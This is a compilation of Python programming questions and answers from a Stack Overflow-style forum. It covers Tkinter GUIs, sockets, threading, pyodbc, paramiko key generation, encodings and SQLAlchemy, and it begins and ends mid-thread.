sorted_list = [[55274, 58132, 51132], [140, 180, 190]]
Is there a simpler way than the following in Python2.7?
from operator import itemgetter
sorted_list = map(list, zip(*sorted(map(list,zip(*a_list)), key=itemgetter(1))))
Best regards, Øystein
Answer: I am a bit reluctant to post this as an answer, but why not, actually?
No, there is no simpler way to achieve your sort in Python -- except that you
can drop that inner `map`:
>>> map(list, zip(*sorted(zip(*a_list), key=itemgetter(1))))
[[55274, 58132, 51132], [140, 180, 190]]
It may seem a bit convoluted at first (though not as much as _with_ that
additional `map`), but actually it's totally clear: You _zip_ the list, _sort_
by the second element, and _zip_ it back. Everyone who knows Python should
understand what the code does.
If you want to make it even clearer, either add a line comment describing what
the sort does, or wrap it inside a function with a descriptive name and the
same or a more extensive comment.
|
Python - login to website using requests
Question: I have to admit I am complitely clueless about this: I need to login to this
site <https://segreteriaonline.unisi.it/Home.do> and then perform some
actions. Problem is I cannot find the form to use in the source of the
webpage, and I basically have never tried to login to a website via python.
This is the simple code I wrote.
import requests
url_from = 'https://segreteriaonline.unisi.it/Home.do'
url_in = 'https://segreteriaonline.unisi.it/auth/Logon.do'
data = {'form':'1', 'username':'myUser', 'password':'myPass'}
s = requests.session()
s.get(url_from)
r = s.post(url_in, data)
print r
Obviously, what i get is:
<Response [401]>
Any suggestions? Thanks in advance.
Answer: You need to use the requests authentication header.
Please check [here](http://docs.python-
requests.org/en/latest/user/authentication/):
from requests.auth import HTTPBasicAuth
requests.get('https://api.github.com/user', auth=HTTPBasicAuth('user', 'pass'))
<Response [200]>
|
Check OptionMenu selection and update GUI
Question: I'm working on a class project and I'm trying to take it beyond the
requirements a little here (I'm doing my own homework, just need help
improving it!) so I want to update the GUI based on certain selections the
user makes instead of just having all irrelevent options available all the
time (requirements are to just present the options).
I'm still new to Python and even more new to Tkinter so my only attempt has
been the following:
#Step Type
ttk.Label(mainframe, text = "Step Type").grid(column = 1, row = 16)
type_entry = OptionMenu(mainframe, StepType, "Kill", "Explore" , "Conversation")
type_entry.grid(column = 2, row = 16, sticky = (E))
#Step Goal
if StepType.get() == "Kill":
ttk.Label(mainframe, text = "Required Kills").grid(column = 1, row = 17)
goal_entry = ttk.Entry(mainframe, width = 20, textvariable = StepGoal)
goal_entry.grid(column = 2, row = 17, sticky = (E))
elif StepType.get() == "Explore":
ttk.Label(mainframe, text = "Location ID").grid(column = 1, row = 17)
goal_entry = ttk.Entry(mainframe, width = 20, textvariable = StepGoal)
goal_entry.grid(column = 2, row = 17, sticky = (E))
elif StepType.get() == "Conversation":
ttk.Label(mainframe, text = "NPC ID").grid(column = 1, row = 17)
goal_entry = ttk.Entry(mainframe, width = 20, textvariable = StepGoal)
goal_entry.grid(column = 2, row = 17, sticky = (E))
Obviously what I want to do here is when the user selects one of the options
from the menu, to display the corresponding entry box and label instead of
having all 3 all the time.
Also looking for the same situation for `CheckButton`
Answer: Full working example: tested od 2.7.5 and 3.3.2
It use `command=` in `OptionMenu` to call function when user changed option.
import tkinter as ttk
#----------------------------------------------------------------------
def on_option_change(event):
selected = step_type.get()
if selected == "Kill":
goal_label['text'] = "Required Kills"
elif selected == "Explore":
goal_label['text'] = "Location ID"
elif selected == "Conversation":
goal_label['text'] = "NPC ID"
# show label and entry
#goal_label.grid(column=1, row=17)
#goal_entry.grid(column=2, row=17, sticky='E')
#----------------------------------------------------------------------
mainframe = ttk.Tk()
# Step Type
step_type = ttk.StringVar() # there is the rule: variable name lowercase with _
ttk.Label(mainframe, text="Step Type").grid(column=1, row=16)
type_entry = ttk.OptionMenu(mainframe, step_type, "Kill", "Explore" , "Conversation", command=on_option_change)
type_entry.grid(column=2, row=16, sticky='E')
step_type.set("Kill")
# Step Goal
step_goal = ttk.StringVar()
goal_label = ttk.Label(mainframe, text="Required Kills")
goal_label.grid(column=1, row=17)
goal_entry = ttk.Entry(mainframe, width=20, textvariable=step_goal)
goal_entry.grid(column=2, row=17, sticky='E')
# hide label and entry
#goal_label.grid_forget()
#goal_entry.grid_forget()
# --- star the engine ---
mainframe.mainloop()
BTW: you can use `grid()` and `grid_forget()` to show and hide elements.
* * *
**EDIT:** example with `Radiobutton` using `trace` on `StringVar`
import tkinter as ttk
#----------------------------------------------------------------------
def on_variable_change(a,b,c): # `trace` send 3 argument to `on_variable_change`
#print(a, b, c)
selected = step_type.get()
if selected == "Kill":
goal_label['text'] = "Required Kills"
elif selected == "Explore":
goal_label['text'] = "Location ID"
elif selected == "Conversation":
goal_label['text'] = "NPC ID"
#----------------------------------------------------------------------
mainframe = ttk.Tk()
# Step Type
step_type = ttk.StringVar() # there is the rule: variable name lowercase with _
ttk.Label(mainframe, text="Step Type").grid(column=1, row=16)
ttk.Radiobutton(mainframe, text="Kill", value="Kill", variable=step_type).grid(column=2, row=16, sticky='E')
ttk.Radiobutton(mainframe, text="Explore", value="Explore", variable=step_type).grid(column=3, row=16, sticky='E')
ttk.Radiobutton(mainframe, text="Conversation", value="Conversation", variable=step_type).grid(column=4, row=16, sticky='E')
step_type.set("Kill")
# use `trace` after `set` because `on_variable_change` use `goal_label` which is not created yet.
step_type.trace("w", on_variable_change)
# Step Goal
step_goal = ttk.StringVar()
goal_label = ttk.Label(mainframe, text="Required Kills")
goal_label.grid(column=1, row=17)
goal_entry = ttk.Entry(mainframe, width=20, textvariable=step_goal)
goal_entry.grid(column=2, row=17, sticky='E')
# --- star the engine ---
mainframe.mainloop()
|
Python copy and rename many small csv files based on selected characters within the files
Question: I'm not a programmer; I'm a pilot who has done just a little bit of scripting
in a past life, so I'm completely non-current at this. I have searched the
forum and found somewhat similar problems that, with more expertise and time I
might be able to adapt to my problem, but I hope I can get closer by asking my
own question. I hope my problem is unique enough that those considering
answering do not feel their time is wasted, considering my disadvantage.
Anyway here is my problem:
Some of my crew members periodically have a need to rename a few hundred to
more than 1,000 small csv files based on a specific convention applied to
their contents. Not all of the files are used in a given project, but any
subset of them could be used, so automation makes a lot of sense here.
Currently this is done manually as needed. I can easily move all these files
into a single directory for processing, since all their file names are unique
as received.
Here are representative excerpts from two example csv files, preceded by their
respective file names (As I receive them):
* * *
A_13LSAT_2014-04-23_1431.csv:
1,KDAL CURLO RW13L SAT 20140414_0644,SID,N/A,DDI
2,*,RW13L(AER),SAT
3,RW13L(AER),+325123.36,-0965121.20,RW31R(DER),+325031.35,-0965020.95
4,1,1.2,+325123.36,-0965121.20,0.0,+325031.35,-0965020.95,2.0
3,RW31R(DER),+325031.35,-0965020.95,GH13L,+324947.23,-0964929.84
4,1,2.4,+325031.35,-0965020.95,0.0,+324947.23,-0964929.84,2.0
5,TTT,0,0
5,CVE,0,0
* * *
A_RROSEE_2014-04-03_1419.csv:
1,KDFW SEEVR STAR RRONY SEEVR 20140403_1340,STAR,N/A,DDI
2,*,RRONY,SEEVR
3,RRONY,+333455.16,-0952530.56,ROWZE,+333233.02,-0954016.52
4,1,12.6,+333455.16,-0952530.56,0.0,+333233.02,-0954016.52,2.0
5,EIC,0,1
5,SLR,0,0
* * *
I know these files are not code, but I entered them indented in this post so
they would display properly.
The files must be renamed due to the 8.3 limitation of the platform they are
used on. The convention is:
•On the first line, the first two characters in the second word of the second
"cell" (Which are the 6th and 7th characters of the second cell), and,
•on line 2, the first three characters of the third cell, and
•the first three characters of the fourth cell.
The contents and format of the files must remain unaltered. In theory this
convention yields unique names for every file so duplication of file names
should not be a problem.
The files above would be copied and renamed respectively to:
CURW1SAT.csv
SERROSEE.csv
That's it. Just a script that will scan a directory full of these csv files,
and create renamed copies in the same directory according the the convention I
just described, based on their contents. I'm attempting to use Activestate
Python 2.7.7.
Thanks in advance for any consideration.
Answer: It's not what you'd call pretty, but neither am I; and it works (and it's
simple)
import os
import glob
fileset = set(glob.glob(os.path.basename(os.path.join(".", "*.csv"))))
for filename in fileset:
with open(filename, "r") as f:
csv_file = f.readlines()
out = csv_file[0].split(",")[1].split(" ")[1][:2]
out += csv_file[1].split(",")[2][:3]
out += csv_file[1].split(",")[3][:3]
os.rename(filename, out + ".csv")
just drop this in the folder with all the csv's to be renamed and run it
|
Google App Engine: Modifying 1000 entities
Question: I have about 1000 user account entities like this:
class UserAccount(ndb.Model):
email = ndb.StringProperty()
Some of these email values contain uppercase letters like
[email protected]_. I want to select all the `email` values from all
UserAccount entities and apply python's `email.lower()`. How can I do this
efficiently, and most importantly, without errors?
Note: The email values are important for login, so I cannot afford to mess
this up. Is there a way to backup this data in case of the event that I do
make a mistake?
Thank you.
Answer: Yes, off course. Even if Datastore Administration is an experimental feature
we can backup and restore data without coding. Follow this instruction for the
backup flow: [Backing up
data](https://developers.google.com/appengine/docs/adminconsole/datastoreadmin#backing_up_data).
To processing your data instead, the most efficient way is to use the
[MapReduce
library](https://developers.google.com/appengine/docs/python/dataprocessing/).
|
QComboBox with autocompletion works in PyQt4 but not in PySide
Question: I've got a combo box with a custom completer that worked fine in PyQt4, but
isn't working in PySide.
I have verified that the new completer is replacing the QComboBox's built in
completer because inline completion is no longer occurring. However when run
with PySide, the completer doesn't popup with a filtered list of options.
I've also tried ensuring that all text is all `str` or all `unicode` to avoid
differences between the PyQt API 1 with QStrings and PySide's use of Python
unicode types. Changing the text types has had no effect on either PyQt or
PySide's behavior (PyQt keeps working, PySide doesn't work).
Here is my code:
from PySide import QtCore
from PySide import QtGui
#from PyQt4 import QtCore
#from PyQt4 import QtGui
class AdvComboBox(QtGui.QComboBox):
def __init__(self, parent=None):
super(AdvComboBox, self).__init__(parent)
self.setFocusPolicy(QtCore.Qt.StrongFocus)
self.setEditable(True)
# add a filter model to filter matching items
self.pFilterModel = QtGui.QSortFilterProxyModel(self)
self.pFilterModel.setFilterCaseSensitivity(QtCore.Qt.CaseInsensitive)
self.pFilterModel.setSourceModel(self.model())
# add a completer, which uses the filter model
self.completer = QtGui.QCompleter(self.pFilterModel, self)
# always show all (filtered) completions
self.completer.setCompletionMode(QtGui.QCompleter.UnfilteredPopupCompletion)
self.setCompleter(self.completer)
# connect signals
def filter(text):
print "Edited: ", text, "type: ", type(text)
self.pFilterModel.setFilterFixedString(str(text))
self.lineEdit().textEdited[unicode].connect(filter)
self.completer.activated.connect(self.on_completer_activated)
# on selection of an item from the completer, select the corresponding item from combobox
def on_completer_activated(self, text):
print "activated"
if text:
print "text: ", text
index = self.findText(str(text))
print "index: ", index
self.setCurrentIndex(index)
# on model change, update the models of the filter and completer as well
def setModel(self, model):
super(AdvComboBox, self).setModel(model)
self.pFilterModel.setSourceModel(model)
self.completer.setModel(self.pFilterModel)
# on model column change, update the model column of the filter and completer as well
def setModelColumn(self, column):
self.completer.setCompletionColumn(column)
self.pFilterModel.setFilterKeyColumn(column)
super(AdvComboBox, self).setModelColumn(column)
if __name__ == "__main__":
import sys
app = QtGui.QApplication(sys.argv)
combo = AdvComboBox()
names = ['bob', 'fred', 'bobby', 'frederick', 'charles', 'charlie', 'rob']
# fill the standard model of the combobox
combo.addItems(names)
combo.setModelColumn(0)
combo.resize(300, 40)
combo.show()
sys.exit(app.exec_())
Answer: I figured it out while writing the question...
It appears that while the [PySide QCompleter documentation](https://deptinfo-
ensip.univ-poitiers.fr/ENS/pyside-docs/PySide/QtGui/QCompleter.html) lists an
option to initialize the QCompleter with a model and a parent, it isn't
actually working.
The solution is to set the model of the completer after it is initialized.
Here is the working code:
from PySide import QtCore
from PySide import QtGui
class AdvComboBox(QtGui.QComboBox):
def __init__(self, parent=None):
super(AdvComboBox, self).__init__(parent)
self.setFocusPolicy(QtCore.Qt.StrongFocus)
self.setEditable(True)
# add a filter model to filter matching items
self.pFilterModel = QtGui.QSortFilterProxyModel(self)
self.pFilterModel.setFilterCaseSensitivity(QtCore.Qt.CaseInsensitive)
self.pFilterModel.setSourceModel(self.model())
# add a completer
self.completer = QtGui.QCompleter(self)
#Set the model that the QCompleter uses
# - in PySide doing this as a separate step worked better
self.completer.setModel(self.pFilterModel)
# always show all (filtered) completions
self.completer.setCompletionMode(QtGui.QCompleter.UnfilteredPopupCompletion)
self.setCompleter(self.completer)
# connect signals
def filter(text):
print "Edited: ", text, "type: ", type(text)
self.pFilterModel.setFilterFixedString(str(text))
self.lineEdit().textEdited[unicode].connect(filter)
self.completer.activated.connect(self.on_completer_activated)
# on selection of an item from the completer, select the corresponding item from combobox
def on_completer_activated(self, text):
print "activated"
if text:
print "text: ", text
index = self.findText(str(text))
print "index: ", index
self.setCurrentIndex(index)
# on model change, update the models of the filter and completer as well
def setModel(self, model):
super(AdvComboBox, self).setModel(model)
self.pFilterModel.setSourceModel(model)
self.completer.setModel(self.pFilterModel)
# on model column change, update the model column of the filter and completer as well
def setModelColumn(self, column):
self.completer.setCompletionColumn(column)
self.pFilterModel.setFilterKeyColumn(column)
super(AdvComboBox, self).setModelColumn(column)
if __name__ == "__main__":
import sys
app = QtGui.QApplication(sys.argv)
combo = AdvComboBox()
names = ['bob', 'fred', 'bobby', 'frederick', 'charles', 'charlie', 'rob']
# fill the standard model of the combobox
combo.addItems(names)
combo.setModelColumn(0)
combo.resize(300, 40)
combo.show()
sys.exit(app.exec_())
|
Capture python print statements in C#
Question: I am writing a C# component which takes an ironpython function as a parameter.
def test():
x=x+1
print "Test"
C#:
var v = engine.Operations.Invoke(scope.GetVariable("test"));
Var `v` returns `null` for `print` statements. It works only if I have
`return(x)`. Can I capture print statements using ironpython?
Comments and links are appreciated. Also, can just capture it using
commandline?
Answer: This works for me:
var script = @"import sys
def test():
print sys.version
print >> sys.stderr, 'this goes to stderr'
return 42";
var scriptEngine = Python.CreateEngine();
var scriptScope = scriptEngine.CreateScope();
scriptEngine.Execute(script, scriptScope);
var testFn = scriptScope.GetVariable("test");
var streamOut = new MemoryStream();
var streamErr = new MemoryStream();
scriptEngine.Runtime.IO.SetOutput(streamOut, Encoding.Default);
scriptEngine.Runtime.IO.SetErrorOutput(streamErr, Encoding.Default);
scriptEngine.Operations.Invoke(testFn);
Console.WriteLine("returned: {0}", scriptEngine.Operations.Invoke(testFn));
Console.WriteLine("captured out:\n{0}", Encoding.Default.GetString(streamOut.ToArray()));
Console.WriteLine("captured err:\n{0}", Encoding.Default.GetString(streamErr.ToArray()));
Output:
returned: 42
captured out:
2.7.5b2 (IronPython 2.7.5b2 (2.7.5.0) on .NET 2.0.50727.5477 (64-bit))
captured err:
this goes to stderr
|
Python Tkinter socket.recv not receiving
Question: I am trying to make a chat program with Python Tkinter, but my recv function
_recvMSG()_ either doesn't receive anything or just doesn't print anything.
Could you help me fix the receiving problem? Change the code anyway you want.
from Tkinter import *
import easygui
import socket
import threading
msgscount = 1
setup = False
def makeServer():
global tcpclisock
host = ''
port = easygui.integerbox(msg='Enter a port...', title='Port', argUpperBound=100000)
buffsize = 1024
addr = (host, port)
setup = True
tcpsersock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpsersock.bind(addr)
tcpsersock.listen(5)
tcpclisock, addr = tcpsersock.accept()
easygui.msgbox(msg=('Connected from: ', addr), title='Connected')
def connectServer():
global tcpclisock
setup = True
host = easygui.choicebox(msg='Choose a host...', title='Choose Host', choices=('localhost'),buttons=('Select'))
port = easygui.integerbox(msg='Enter a port...', title='Port', argUpperBound=100000)
buffsize = 1024
addr = (host, port)
tcpclisock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpclisock.connect(addr)
def sendMSG():
global msgscount, tcpclisock
try:
msgs.insert(msgscount, ">>" + msg.get())
data = msg.get()
msg.delete(0,END)
msgscount += 1
tcpclisock.send(data)
except:
easygui.msgbox(msg='You need to connect to a server.', title='Error')
def recvMSG():
global msgscount,tcpclisock
if setup == True:
datar = tcpclisock.recv(buffsize)
msgs.insert(msgscount, datar)
msgscount += 1
top.after(1000, recvMSG)
else:
answ = easygui.buttonbox(msg='Please join or create a server', title='Server', choices=("Create", 'Join'))
if answ == "Create":
makeServer()
else:
connectServer()
top = Tk()
top.geometry('640x650')
msgs = Listbox(top, width=105, height=43)
msgs.pack()
msg = Entry(top, bd=2, width=60, font='Arial 12 bold')
msg.pack(side=LEFT)
sendbtn = Button(top, text='Send', font='Arial 15 bold',width=15, padx=5, pady=5,command=runSendMSG)
sendbtn.pack(side=RIGHT)
menubar = Menu(top)
servermenu = Menu(menubar, tearoff=0)
servermenu.add_command(label="Create Server", command=makeServer)
servermenu.add_command(label="Join Server", command=connectServer)
menubar.add_cascade(label='Server', menu=servermenu)
top.config(menu=menubar)
top.after(5000, recvMSG)
mainloop()
Answer: I don't have `easygui` so I removed some code
from Tkinter import *
#import easygui
import socket
#import threading
msgscount = 1
setup = False
buffsize = 1024
def makeServer():
global tcpclisock,setup,buffsize
host = ''
port = 9000
buffsize = 1024
addr = (host, port)
setup = True
print "makeServer():"
tcpsersock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpsersock.bind(addr)
tcpsersock.listen(5)
tcpclisock, addr = tcpsersock.accept()
tcpclisock.setblocking(0)
print 'Connected from: ', addr
top.after(1000, recvMSG)
def connectServer():
global tcpclisock,setup,buffsize
setup = True
host = ''
port = 9000
buffsize = 1024
addr = (host, port)
tcpclisock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpclisock.connect(addr)
print 'Connected to: ', addr
tcpclisock.setblocking(0)
top.after(1000, recvMSG)
def sendMSG():
print 'sendMSG():'
global msgscount, tcpclisock,setup
try:
msgs.insert(msgscount, ">>" + msg.get())
data = msg.get()
msg.delete(0,END)
msgscount += 1
print tcpclisock.send(data)
except:
print 'You need to connect to a server.'
def recvMSG():
global msgscount,tcpclisock,setup,buffsize
print 'recvMSG():', setup
if setup == True:
try:
datar = tcpclisock.recv(buffsize)
msgs.insert(msgscount, datar)
msgscount += 1
except:
pass
top.after(1000, recvMSG)
else:
pass
answ = "Create"
if answ == "Create":
makeServer()
else:
connectServer()
top = Tk()
#top.geometry('640x650')
msgs = Listbox(top, width=105, height=43)
msgs.pack()
msg = Entry(top, bd=2, width=60, font='Arial 12 bold')
msg.pack()
sendbtn = Button(top, text='Send', font='Arial 15 bold', width=15, padx=5, pady=5, command=sendMSG)
sendbtn.pack()
menubar = Menu(top)
servermenu = Menu(menubar, tearoff=0)
servermenu.add_command(label="Create Server", command=makeServer)
servermenu.add_command(label="Join Server", command=connectServer)
menubar.add_cascade(label='Server', menu=servermenu)
top.config(menu=menubar)
mainloop()
|
Multiple python threads writing to different records in same list simultaneously - is this ok?
Question: I am trying to fix a bug where multiple threads are writing to a list in
memory. Right now I have a thread lock and am occasionally running into
problems that are related to the work being done in the threads.
I was hoping to simply make an hash of lists, one for each thread, and remove
the thread lock. It seems like each thread could write to its own record
without worrying about the others, but perhaps the fact that they are all
using the same owning hash would itself be a problem.
Does anyone happen to know if this will work or not? If not, could I, for
example, dynamically add a list to a package for each thread? Is that
essentially the same thing?
I am far from a threading expert so any advice welcome.
Thanks,
Answer:
import threading
def job(root_folder,my_list):
for current,files,dirs in os.walk(root):
my_list.extend(files)
time.sleep(1)
my_lists = [[],[],[]]
my_folders = ["C:\\Windows","C:\\Users","C:\\Temp"]
my_threads = []
for folder,a_list in zip(my_folders,my_lists):
my_threads.append(threading.Thread(target=job,args=(folder,a_list)
for thread in my_threads:
thread.start()
for thread in my_threads:
thread.join()
my_full_list = my_lists[0] + my_lists[1] + my_lists[2]
this way each thread just modifies its own list and at the end combines all
the individual lists
also as pointed out this gives zero performance gain (actually probably slower
than not threading it... ) you may get performance gains using multiprocessing
instead ...
|
make python wait for stored procedure to finish executing
Question: I have a python script that uses pyodbc to call an MSSQL stored procedure,
like so:
cursor.execute("exec MyProcedure @param1 = '" + myparam + "'")
I call this stored procedure inside a loop, and I notice that sometimes, the
procedure gets called again before it was finished executing the last time. I
know this because if I add the line
time.sleep(1)
after the execute line, everything works fine.
Is there a more elegant and less time-costly way to say, "sleep until the exec
is finished"?
**Update (Divij's solution):** This code is currently not working for me:
from tornado import gen
import pyodbc
@gen.engine
def func(*args, **kwargs):
# connect to db
cnxn_str = """
Driver={SQL Server Native Client 11.0};
Server=172.16.111.235\SQLEXPRESS;
Database=CellTestData2;
UID=sa;
PWD=Welcome!;
"""
cnxn = pyodbc.connect(cnxn_str)
cnxn.autocommit = True
cursor = cnxn.cursor()
for _ in range(5):
yield gen.Task(cursor.execute, 'exec longtest')
return
func()
Answer: There's no python built-in that allows you to wait for an asynchronous call to
finish. However, you can achieve this behaviour using Tornado's IOLoop.
Tornado's `gen` interface allows you to do register a function call as a
`Task` and return to the next line in your function once the call has finished
executing. Here's an example using `gen` and `gen.Task`
from tornado import gen
@gen.engine
def func(*args, **kwargs)
for _ in range(5):
yield gen.Task(async_function_call, arg1, arg2)
return
In the example, execution of `func` resumes after `async_function_call` is
finished. This way subsequent calls to `asnyc_function_call` won't overlap,
and you wont' have to pause execution of the main process with the
`time.sleep` call.
|
Generating SSH keypair with paramiko in Python
Question: I am trying to generate a SSH key pair with the python module paramiko. There
doesn't seem to be much info about key generation. I've read through the
paramiko docs but can't figure out whats wrong. I can generate a private and
public key without password encryption. However, when I try to encrypt the
private key I get the following error.
**ValueError: IV must be 8 bytes long**
I believe the above error is from pycrypto. I've looked through the relevant
code in paramiko.pkey and pycrypto without any luck.
Here is a small example.
import paramiko
def keygen(filename,passwd=None,bits=1024):
k = paramiko.RSAKey.generate(bits)
#This line throws the error.
k.write_private_key_file(filename,password = 'cleverpassword')
o = open(fil+'.pub' ,"w").write(k.get_base64())
_traceback_
Traceback (most recent call last):
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Documents/test.py", line 14, in keygen
k.write_private_key_file(filename,password = 'cleverpassword')
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Pythonista.app/pylib/site-packages/paramiko/rsakey.py", line 127, in write_private_key_file
self._write_private_key_file('RSA', filename, self._encode_key(), password)
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Pythonista.app/pylib/site-packages/paramiko/pkey.py", line 323, in _write_private_key_file
self._write_private_key(tag, f, data, password)
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Pythonista.app/pylib/site-packages/paramiko/pkey.py", line 341, in _write_private_key
data = cipher.new(key, mode, salt).encrypt(data)
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Pythonista.app/pylib/site-packages/Crypto/Cipher/DES3.py", line 114, in new
return DES3Cipher(key, *args, **kwargs)
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Pythonista.app/pylib/site-packages/Crypto/Cipher/DES3.py", line 76, in __init__
blockalgo.BlockAlgo.__init__(self, _DES3, key, *args, **kwargs)
File "/var/mobile/Applications/149E4C21-2F92-4712-BAC6-151A171C6687/Pythonista.app/pylib/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 8 bytes long
Answer: ### The Problem
This looks like a bug in `paramiko`.
If you look at the line that threw the error in `pkey.py`, it is the following
line:
data = cipher.new(key, mode, salt).encrypt(data)
Let us now look at the lines before it, which set the `mode` by first
selecting a `cipher_name`.
# since we only support one cipher here, use it
cipher_name = list(self._CIPHER_TABLE.keys())[0]
cipher = self._CIPHER_TABLE[cipher_name]['cipher']
keysize = self._CIPHER_TABLE[cipher_name]['keysize']
blocksize = self._CIPHER_TABLE[cipher_name]['blocksize']
mode = self._CIPHER_TABLE[cipher_name]['mode']
Here are the contents of `_CIPHER_TABLE`.
_CIPHER_TABLE = {
'AES-128-CBC': {'cipher': AES, 'keysize': 16, 'blocksize': 16, 'mode': AES.MODE_CBC},
'DES-EDE3-CBC': {'cipher': DES3, 'keysize': 24, 'blocksize': 8, 'mode': DES3.MODE_CBC},
}
Observe how the comment contradicts the code. Two ciphers are available, and
the line above which selects the `cipher_name` assumes there is only one.
Based on the error, it appears that `'DES-EDE3-CBC'` is selected. If we look
at the comment in `DES3.py`, we see the following requirement for an IV.
IV : byte string
The initialization vector to use for encryption or decryption.
It is ignored for `MODE_ECB` and `MODE_CTR`.
For `MODE_OPENPGP`, IV must be `block_size` bytes long for encryption
and `block_size` +2 bytes for decryption (in the latter case, it is
actually the *encrypted* IV which was prefixed to the ciphertext).
It is mandatory.
From paramiko's source, we observe that no `IV` is passed, and hence the error
we saw.
### Workaround
Change the following line in `pkey.py` to hardcode the `'AES-128-CBC'` cipher
instead.
# cipher_name = list(self._CIPHER_TABLE.keys())[1]
cipher_name = 'AES-128-CBC'
|
Detect simultaneous left and right clicks in python gui
Question: Tried doing some searches but was not able to get the answer however if this
has been asked before kindly direct me to that post.
I have a button in python and would want to bind that button to a leftClick,
rightClick and bothClick functions. bothClick function being clicking and/or
releasing both right and left mouse button on the button GUI at the same time.
How can I do the bothClick?
Also bind it so that it does not trigger leftClick and/or rightClick when
bothClick is triggered.
NOTE: this is similar to doing a left click, right click and clicking both
mouse buttons in minesweeper.
Answer: You can achieve this is as follows.
Use two variables `left_mouse_pressed` and `right_mouse_pressed`. When both
are simultaneously `True`, both mouse keys pressed.
Reset their state to `False` on mouse release.
import Tkinter
class App:
def __init__(self, root):
self.root = root
self.left_mouse_pressed = False
self.right_mouse_pressed = False
f = Tkinter.Frame(width=100, height=100, background="cyan")
f.pack()
f.bind("<Button-1>", self.onAnyofTwoPressed)
f.bind("<Button-3>", self.onAnyofTwoPressed)
f.bind("<ButtonRelease-1>", self.resetPressedState)
f.bind("<ButtonRelease-3>", self.resetPressedState)
def onAnyofTwoPressed(self, event):
if event.num==1:
self.left_mouse_pressed = True
if event.num==3:
self.right_mouse_pressed = True
if (self.left_mouse_pressed and self.right_mouse_pressed):
print 'yay both pressed'
def resetPressedState(self, event):
self.left_mouse_pressed = False
self.right_mouse_pressed = False
root=Tkinter.Tk()
app = App(root)
root.mainloop()
|
Keyerror in python despite having keyword
Question: I am getting `KeyError:'Fellow'` after running following program despite this
keyword exist in the `text4`.
import nltk;
from nltk.book import *
cnt = {}
for word in text4:
cnt[word] += 1
print cnt['citizen']
Error:
Traceback (most recent call last):
File "wordcount.py", line 5, in <module>
cnt[word] += 1
KeyError: 'Fellow'
However, if I do this I can see that 'Fellow' keyword is in fact present.
>>> text4.count('Fellow')
24
Could anyone please suggest what am I doing wrong ?
Answer: `'Fellow'` exists in `text4` but **not** in `cnt`, which is an empty
dictionary with no keys. The minimal fix is:
for word in text4:
if word not in cnt:
cnt[word] = 0
cnt[word] += 1
But it's probably easier to use
[`collections.Counter`](https://docs.python.org/2/library/collections.html#collections.Counter):
from collections import Counter
cnt = Counter(text4)
|
Cannot get results to display in python app
Question: What I am trying to do is write a program that reads the numbers in a text
file, displays the numbers and then displays the total of all the numbers in
the file and lists the numbers in the file
'''
This program should total the random numbers you generated in the numbers.txt file and
then list them and give a total of the numbers
'''
import random
def main():
# open random number file
number_file = open('numbers.txt', 'r')
# initialize an accumulator
total = 0.0
# Initialize a variable to keep count of the numbers
count = 0
# Get the values of the number file
for line in number_file:
# convert a line to a float
rand_number = float(line)
# add 1 to the count variable
count += 1
# Add the time to total
total += rand_number
# Close the file
number_file.close()
print('The total of the numbers is ', total)
print('There were' count + ' records')
# call main function
main()
I cannot get it to display the numbers nor give me the totals. What do I need
to correct to get this to do what I want it to do?
Answer: try
print('There were ' + str(count) + ' records')
|
Elasticsearch Python API
Question: I am trying to use Python API "pyes" to handel elasticsearch but I could not
get it up the first time, i am running the following code:
import pyes
conn = pyes.ES('127.0.0.1:9200')
conn.indices.create_index("test-index")
And getting the following error:
No handlers could be found for logger "pyes"
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/easd/data01/binmaham/python/lib/python2.7/site-packages/pyes-0.99.2-py2.7.egg/pyes/managers.py", line 155, in create_index
return self.conn._send_request('PUT', index, settings)
File "/easd/data01/binmaham/python/lib/python2.7/site-packages/pyes-0.99.2-py2.7.egg/pyes/es.py", line 441, in _send_request
response = self.connection.execute(request)
File "/easd/data01/binmaham/python/lib/python2.7/site-packages/pyes-0.99.2-py2.7.egg/pyes/connection_http.py", line 109, in execute
self._local.server = server = self._get_server()
File "/easd/data01/binmaham/python/lib/python2.7/site-packages/pyes-0.99.2-py2.7.egg/pyes/connection_http.py", line 145, in _get_server
raise NoServerAvailable(ex)
pyes.exceptions.NoServerAvailable: list index out of range
Answer: as @furas and your error messages suggests, to start your ElasticSearch server
run `sudo /etc/init.d/elasticsearch start` [as you can read
here](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/setup-
service.html#_debian_ubuntu)
|
Search for Windows-1252 characters using Python
Question: I'm attempting to find, and subsequently replace a few Windows-1252 characters
with friendlier versions using Python. Specifically, I'd like to replace "µ"
and "³" but I can't even naively match the characters. For instance:
with open(my_file) as f:
for line in f:
if "µ" in line:
print "found"
The above does not work. However, the following does work within an
interpreter:
line = "< 1.2 mg/dL(< 20 µmol/L) or N/A"
if "µ" in line:
print "found"
I've tried various uses of `decode` without success. Any help would be greatly
appreciated, thanks!
**edit**
Below are two lines of text from the file I'm walking over:
< 1.2 mg/dL(< 20 µmol/L) or N/A
1.2 - 1.9 mg/dL(20 - 32 µmol/L)
Answer: You need to open it in an encoding-aware way:
import codecs
with codecs.open(my_file, "r", "cp1252") as f:
for line in f:
if u"µ" in line:
print "found"
|
SQLAlchemy 0.9.4 filtering for a group
Question: I am using SQLAlchemy 0.9.4 with Python 3.4.1 and MySQL on a CentOS Server. I
am trying to filter by seeing if a certain value in a column is any of
multiple values. For example, if x in [1, 2, 3, 4, 5] I would like the value
to be selected. How could I go about doing that?
Answer: Use
[`in_`](http://docs.sqlalchemy.org/en/rel_0_9/core/metadata.html#sqlalchemy.schema.Column.in_)
operator in the filter expression. Working code below, but please go through
SQLAlchemy documentation.
from sqlalchemy import create_engine, Table, Column, Integer
from sqlalchemy.orm import sessionmaker
